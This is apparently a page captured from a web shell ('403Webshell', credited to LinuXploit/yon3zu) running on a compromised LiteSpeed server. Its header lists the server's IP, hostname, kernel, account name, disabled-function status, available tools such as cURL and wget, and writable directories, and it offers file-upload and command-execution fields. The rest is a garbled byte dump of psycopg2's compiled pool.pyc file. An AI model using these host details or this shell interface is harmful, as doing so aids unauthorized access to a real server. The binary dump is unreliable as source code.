403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.116.14.133
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/psycopg2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/psycopg2/__pycache__/pool.cpython-37.opt-1.pyc
B

*��]��@s^dZddlZddlmZGdd�dej�ZGdd�de�ZGdd	�d	e�ZGd
d�de�Z	dS)z`Connection pooling for psycopg2

This module implements thread-safe (and not) connection pools.
�N)�
extensionsc@seZdZdS)�	PoolErrorN)�__name__�
__module__�__qualname__�rr�@/opt/alt/python37/lib64/python3.7/site-packages/psycopg2/pool.pyrsrc@sFeZdZdZdd�Zddd�Zdd�Zdd	d
�Zddd
�Zdd�Z	dS)�AbstractConnectionPoolzGeneric key-based pooling code.cOs^t|�|_t|�|_d|_||_||_g|_i|_i|_d|_	xt
|j�D]}|��qJWdS)z�Initialize the connection pool.

        New 'minconn' connections are created immediately calling 'connfunc'
        with given parameters. The connection pool will support a maximum of
        about 'maxconn' connections.
        FrN)�int�minconn�maxconn�closed�_args�_kwargs�_pool�_used�_rused�_keys�range�_connect)�selfrr�args�kwargs�irrr�__init__&s

zAbstractConnectionPool.__init__NcCsBtj|j|j�}|dk	r2||j|<||jt|�<n|j�|�|S)z;Create a new connection and assign it to 'key' if not None.N)	�psycopg2Zconnectrrrr�idr�append)r�key�connrrrr<s
zAbstractConnectionPool._connectcCs|jd7_|jS)zReturn a new unique key.�)r)rrrr�_getkeyFszAbstractConnectionPool._getkeycCs�|jrtd��|dkr|��}||jkr2|j|S|jr^|j��|j|<}||jt|�<|St|j�|j	krvtd��|�
|�SdS)z9Get a free connection and assign it to 'key' if not None.zconnection pool is closedNzconnection pool exhausted)r
rr!rr�poprr�lenrr)rrrrrr�_getconnKs

zAbstractConnectionPool._getconnFcCs�|jrtd��|dkr6|j�t|��}|dkr6td��t|j�|jkr�|s�|js�|jj	}|t
jkrl|��q�|t
j
kr�|��|j�|�q�|j�|�n|��|jr�||jkr�|j|=|jt|�=dS)zPut away a connection.zconnection pool is closedNz trying to put unkeyed connection)r
rr�getrr#rr�infoZtransaction_status�_extZTRANSACTION_STATUS_UNKNOWN�closeZTRANSACTION_STATUS_IDLEZrollbackrr)rrrr(�statusrrr�_putconn^s&


zAbstractConnectionPool._putconnc	CsX|jrtd��x>|jt|j���D]&}y|��Wq$tk
rHYq$Xq$Wd|_dS)z�Close all connections.

        Note that this can lead to some code fail badly when trying to use
        an already closed connection. If you call .closeall() make sure
        your code can deal with it.
        zconnection pool is closedTN)r
rr�listr�valuesr(�	Exception)rrrrr�	_closeall�s
z AbstractConnectionPool._closeall)N)N)NF)
rrr�__doc__rrr!r$r*r.rrrrr	#s



#r	c@s"eZdZdZejZejZej	Z
dS)�SimpleConnectionPoolz@A connection pool that can't be shared across different threads.N)rrrr/r	r$�getconnr*�putconnr.�closeallrrrrr0�sr0c@s4eZdZdZdd�Zddd�Zd
dd	�Zd
d�ZdS)�ThreadedConnectionPoolz7A connection pool that works with the threading module.cOs,ddl}tj|||f|�|�|��|_dS)zInitialize the threading lock.rN)�	threadingr	r�Lock�_lock)rrrrrr5rrrr�szThreadedConnectionPool.__init__NcCs&|j��z
|�|�S|j��XdS)z9Get a free connection and assign it to 'key' if not None.N)r7�acquirer$�release)rrrrrr1�s

zThreadedConnectionPool.getconnFcCs.|j��z|�|||�Wd|j��XdS)zPut away an unused connection.N)r7r8r*r9)rrrr(rrrr2�s
zThreadedConnectionPool.putconncCs(|j��z|��Wd|j��XdS)z6Close all connections (even the one currently in use.)N)r7r8r.r9)rrrrr3�s
zThreadedConnectionPool.closeall)N)NNF)rrrr/rr1r2r3rrrrr4�s


r4)
r/rrr'�Errorr�objectr	r0r4rrrr�<module>so

Youez - 2016 - github.com/yon3zu
LinuXploit